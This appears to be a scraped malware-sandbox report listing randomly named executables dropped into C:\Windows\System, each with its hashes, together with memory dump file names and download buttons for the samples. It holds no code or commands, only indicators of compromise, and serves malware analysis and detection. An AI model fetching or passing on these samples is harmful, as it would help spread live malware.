SHA256 7ff8a758baeb86b1843f8c50c3ac0a274d3b52166af10e0abb52568b2fa54de5
MD5 e773d78007aeec2767b2bf49fe4bd108
SHA1 2a54df4a68f76d3009c22fb035b4d15fe616df5f
SHA512 f28ea2ac7b68532fa4e4ff2c0273cce7378c243d02cdb27e98afac4220033e3199b4d1f6bffdcf506ced98ceff45b3424cf1cd4d9235520a060806fbb74874e5
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM1:NAB9
MD5 SHA1 SHA512 SSDEEP

Submit Download

jEJUjHn.exe

Path C:\Windows\System\jEJUjHn.exe
Size 2.1MB
SHA256 b9f0486321cd2b0b4830a0c382ad604914e955c427120843b5ef4d4a37b6bf80
MD5 a012530aa2b851036c550e47d79e8556
SHA1 7c5af8183e24116b2e99a120d5c085236f4d3045
SHA512 726d4a928da8c1b7c567b3cacc51b4ec8b58ff9c085fd0217ea494c2e4e4b99ab4dabb6b53508652d5e5821bb531d3f9272f59864f040d94485fb63fc654cb42
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMj:NABb
MD5 SHA1 SHA512 SSDEEP

Submit Download

jHxwdgi.exe

Path C:\Windows\System\jHxwdgi.exe
Size 2.1MB
SHA256 042c124a649540f52e3f50c05e91ae319b02a078d50d3f5177e7baa96869987b
MD5 6d6896df6a2fcae0f6bbb9a20159834e
SHA1 43c18b4c93033f4afc1dfbc01c53359f999e99cb
SHA512 6bb1554f1d1cf4742c5b09c7cd597f387b4bcbd2f20c12cec3d11ddc6ff918dae70314a6c450d9df0cad4eecea47787537c0654bfe9538943713496f77c33205
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM5:NABR
MD5 SHA1 SHA512 SSDEEP

Submit Download

kATabOM.exe

Path C:\Windows\System\kATabOM.exe
Size 2.1MB
SHA256 175f673dea9b44fa2a6535986740978614564d47a0537266e6fd422505ed6d4d
MD5 af63485b6b461deda13c31370cfa015b
SHA1 cf63019d41c63ee55e55304c410733f3e076e444
SHA512 763e098a436538c6fcc310960088d05b498de12e2ca3f6b6ac443d035fcadff181bce10f91ebc466377358e1526fb29e754f9b8abdeeb8f06a75dbfeb317ddb3
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM3:NABP
MD5 SHA1 SHA512 SSDEEP

Submit Download

lAQZCyn.exe

Path C:\Windows\System\lAQZCyn.exe
Size 2.1MB
SHA256 5a20303d6b52eb5142a17d5b6cc7e4303174eab65a79357bf6be1aea206582c2
MD5 7cd0eb26afe5241dc4e6feb1e8c85f45
SHA1 2b46a28501cbaef6638b0c221adf52681df34353
SHA512 6a01f560ca7bacb5ce978070f43e0400b8614622dad11eb2a213b5a66b5013d8d12ecae0d502aae0fcfbbc85e0ba750997d77be4b6bd90bb3687c9c14778f57c
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMd:NABF
MD5 SHA1 SHA512 SSDEEP

Submit Download

lzdDsqz.exe

Path C:\Windows\System\lzdDsqz.exe
Size 2.1MB
SHA256 06903b52f9a9683b268692dfbe366af6518d5d35b291ea53e0018ca8cd2d322f
MD5 7c692092a59b877de1a3b8a3a727df28
SHA1 0a973465a01eebf6533ccbff2ff7ce9b195f5d8a
SHA512 be02f6c24fa3f08a0f3783d8148bd799f87458e4d9892563c57b63632e76b59d6ea3a38993afe2624f73b85cc7750340c933cd400a6348f3a2557e79c066dbdb
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM5:NABh
MD5 SHA1 SHA512 SSDEEP

Submit Download

mqwPaDx.exe

Path C:\Windows\System\mqwPaDx.exe
Size 2.1MB
SHA256 e24874f9334f34d259470fbdf6c91ecad55425fb8a0dd4804a0cca513b59ee71
MD5 ef0cb3113aced41c6f011a5297af39cd
SHA1 6c1e1daaea82505118a0799cb0cebb480a362a99
SHA512 cbdfdc2b306a18a014bb627dbeb28636efe1e199b654584e73e2aad976490b49f8d8559eb313cac0ca5a8506288c8547af906ac9a9bbaf706af267eea9b8bfd2
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM8:NABE
MD5 SHA1 SHA512 SSDEEP

Submit Download

olZxGga.exe

Path C:\Windows\System\olZxGga.exe
Size 2.1MB
SHA256 64f8c484c8868c08403a561333579190b08d82340233c100cf9ff879339605fd
MD5 a65d56bcefd44250e4ce8f663fb5e676
SHA1 7bbb57777f11eb39b82f440fc3cb75f7ef80cc0d
SHA512 1ee4e1129548ab93ba1362179e58cf29491e2be62a66706e39b45b23913529aaa5f3ea9b88641bb2c25f06a0dd142d967a31e9394f38d415c3f2b7abf0a0cbdd
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMg:NABo
MD5 SHA1 SHA512 SSDEEP

Submit Download

oofnLdr.exe

Path C:\Windows\System\oofnLdr.exe
Size 2.1MB
SHA256 28532fbbe68076e3132cf2a73ecc27233f27249422417b7f11da30aca3c09270
MD5 cb07f28e5ab4c17a53221e9728cc95da
SHA1 70ff96f5585d255e33eb6fe48ea76b6bbfdc3d46
SHA512 7249a80040438b200d00c12bd6b4058e75d8418d7285c27c513e22cf6b502320c642a73d5ed7af6f0284d109dc984a93055e7ef48cfae7ab612763e85da855ea
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM+:NABm
MD5 SHA1 SHA512 SSDEEP

Submit Download

sTeltDx.exe

Path C:\Windows\System\sTeltDx.exe
Size 2.1MB
SHA256 07f99ad349d8ab2a68041b4e3ab1d3ac8473dce97d0d0e9c1724fc90e0510ae5
MD5 3c628841d47a55aa88f4c5413362c359
SHA1 534729cb173ed887b8b5c1994a6d2cadd05a8699
SHA512 23aa22ca04157c5b5df7f2738bb13d90eba89fbdb179ce8d0e3699669555915b6e5414dbc545c5824aea00e5490ecf536fb4ec13f3f5cb28a97ade488b4371db
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafM48:NABD
MD5 SHA1 SHA512 SSDEEP

Submit Download

sbMiTWg.exe

Path C:\Windows\System\sbMiTWg.exe
Size 2.1MB
SHA256 90069b43b365fe4e2f49b1a5bf768f85128ebf9da19c5463cba94cb6cf3b56a3
MD5 624400af6fa3681bf3b6438dc958abaf
SHA1 21793281fe6afc1615c9a56e1a8fa930e6343fa4
SHA512 2abbd20a45a73753e76125b6b6293082a3f657beaabe1c2314f4b67e83f21810589f45dc27184f3bf4a520cd2df78bd0a20ccc69130a6ac5546afb80ec3129ec
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMf:NAB3
MD5 SHA1 SHA512 SSDEEP

Submit Download

wvXEekr.exe

Path C:\Windows\System\wvXEekr.exe
Size 2.1MB
SHA256 c0ef938d7e91c4532fffb30804737efccab8db0123e120162bf8c4ce30435e19
MD5 a1f70d87b1b6231685ff2f0a00051d06
SHA1 514df6d10b51aad54af983f38c445ce78273a4f8
SHA512 adb111e5ccbcb4ee5af0371b50f31c29801b3172503459aa6ca51f82131e9c9936d7db42f96d29e3e7c74072061886f60665b63ae5b7deb38d8e2926876f77b2
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMt:NABV
MD5 SHA1 SHA512 SSDEEP

Submit Download

zNHYEFX.exe

Path C:\Windows\System\zNHYEFX.exe
Size 2.1MB
SHA256 b1db2cf6f284649002c53c10ae52920040155344beac5cb581bbb02327f90710
MD5 eb9cc987e488f5ab53133829fde2abb5
SHA1 3b5c03886c106a64fdd087a8be7f676f165daecf
SHA512 db7acded27c4d0da14a634aa10cbb4b6695ea9ac0c799502d76d99331d14a7107f96c78110aaf4cff39b1d54919be0a606e5582c277245c8439e7e864821aaca
SSDEEP 49152:Lz071uv4BPMkibTIA5lCx7kvRWa4pXHafMs:NABU
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/656-290-0x00007FF7F54B0000-0x00007FF7F58A2000-memory.dmp

Download

memory/656-3029-0x00007FF7F54B0000-0x00007FF7F58A2000-memory.dmp

Download

memory/732-3055-0x00007FF71C530000-0x00007FF71C922000-memory.dmp

Download

memory/732-545-0x00007FF71C530000-0x00007FF71C922000-memory.dmp

Download

memory/808-3061-0x00007FF61F590000-0x00007FF61F982000-memory.dmp

Download

memory/808-544-0x00007FF61F590000-0x00007FF61F982000-memory.dmp

Download

memory/868-150-0x00000242EE670000-0x00000242EE692000-memory.dmp

Download

memory/868-58-0x00007FF8DBF80000-0x00007FF8DCA41000-memory.dmp

Download

memory/868-16-0x00007FF8DBF83000-0x00007FF8DBF85000-memory.dmp

Download

memory/868-116-0x00007FF8DBF80000-0x00007FF8DCA41000-memory.dmp

Download

memory/872-548-0x00007FF7EDA50000-0x00007FF7EDE42000-memory.dmp

Download

memory/872-3043-0x00007FF7EDA50000-0x00007FF7EDE42000-memory.dmp

Download

memory/972-3051-0x00007FF625970000-0x00007FF625D62000-memory.dmp

Download

memory/972-458-0x00007FF625970000-0x00007FF625D62000-memory.dmp

Download

memory/1264-3057-0x00007FF7C69B0000-0x00007FF7C6DA2000-memory.dmp

Download

memory/1264-549-0x00007FF7C69B0000-0x00007FF7C6DA2000-memory.dmp

Download

memory/1428-547-0x00007FF69CED0000-0x00007FF69D2C2000-memory.dmp

Download

memory/1428-3031-0x00007FF69CED0000-0x00007FF69D2C2000-memory.dmp

Download

memory/1540-3035-0x00007FF7B8930000-0x00007FF7B8D22000-memory.dmp

Download

memory/1540-369-0x00007FF7B8930000-0x00007FF7B8D22000-memory.dmp

Download

memory/1584-3041-0x00007FF7D2B20000-0x00007FF7D2F12000-memory.dmp

Download

memory/1584-401-0x00007FF7D2B20000-0x00007FF7D2F12000-memory.dmp

Download

memory/1624-14-0x00007FF7D0A70000-0x00007FF7D0E62000-memory.dmp

Download

memory/1624-3015-0x00007FF7D0A70000-0x00007FF7D0E62000-memory.dmp

Download

memory/1624-3018-0x00007FF7D0A70000-0x00007FF7D0E62000-memory.dmp

Download

memory/1752-551-0x00007FF7CA610000-0x00007FF7CAA02000-memory.dmp

Download

memory/1752-3025-0x00007FF7CA610000-0x00007FF7CAA02000-memory.dmp

Download

memory/2164-3037-0x00007FF79C4A0000-0x00007FF79C892000-memory.dmp

Download

memory/2164-343-0x00007FF79C4A0000-0x00007FF79C892000-memory.dmp

Download

memory/2724-366-0x00007FF7E5EE0000-0x00007FF7E62D2000-memory.dmp

Download

memory/2724-3047-0x00007FF7E5EE0000-0x00007FF7E62D2000-memory.dmp

Download

memory/2876-3040-0x00007FF7C4150000-0x00007FF7C4542000-memory.dmp

Download

memory/2876-398-0x00007FF7C4150000-0x00007FF7C4542000-memory.dmp

Download

memory/2988-3067-0x00007FF668660000-0x00007FF668A52000-memory.dmp

Download

memory/2988-552-0x00007FF668660000-0x00007FF668A52000-memory.dmp

Download

memory/2996-3019-0x00007FF650C80000-0x00007FF651072000-memory.dmp

Download

memory/2996-151-0x00007FF650C80000-0x00007FF651072000-memory.dmp

Download

memory/3236-0-0x00007FF72C2A0000-0x00007FF72C692000-memory.dmp

Download

memory/3236-1-0x0000018A2FF00000-0x0000018A2FF10000-memory.dmp

Download

memory/3312-3021-0x00007FF60C530000-0x00007FF60C922000-memory.dmp

Download

memory/3312-203-0x00007FF60C530000-0x00007FF60C922000-memory.dmp

Download

memory/3340-3023-0x00007FF641750000-0x00007FF641B42000-memory.dmp

Download

memory/3340-550-0x00007FF641750000-0x00007FF641B42000-memory.dmp

Download

memory/4280-3045-0x00007FF657E30000-0x00007FF658222000-memory.dmp

Download

memory/4280-293-0x00007FF657E30000-0x00007FF658222000-memory.dmp

Download

memory/4328-250-0x00007FF749280000-0x00007FF749672000-memory.dmp

Download

memory/4328-3027-0x00007FF749280000-0x00007FF749672000-memory.dmp

Download

memory/4556-3071-0x00007FF759710000-0x00007FF759B02000-memory.dmp

Download

memory/4556-546-0x00007FF759710000-0x00007FF759B02000-memory.dmp

Download

memory/4716-506-0x00007FF7B04D0000-0x00007FF7B08C2000-memory.dmp

Download

memory/4716-3059-0x00007FF7B04D0000-0x00007FF7B08C2000-memory.dmp

Download

memory/5084-3033-0x00007FF7BDF30000-0x00007FF7BE322000-memory.dmp

Download

memory/5084-268-0x00007FF7BDF30000-0x00007FF7BE322000-memory.dmp

Download

memory/5108-457-0x00007FF6EDE70000-0x00007FF6EE262000-memory.dmp

Download

memory/5108-3053-0x00007FF6EDE70000-0x00007FF6EE262000-memory.dmp

Download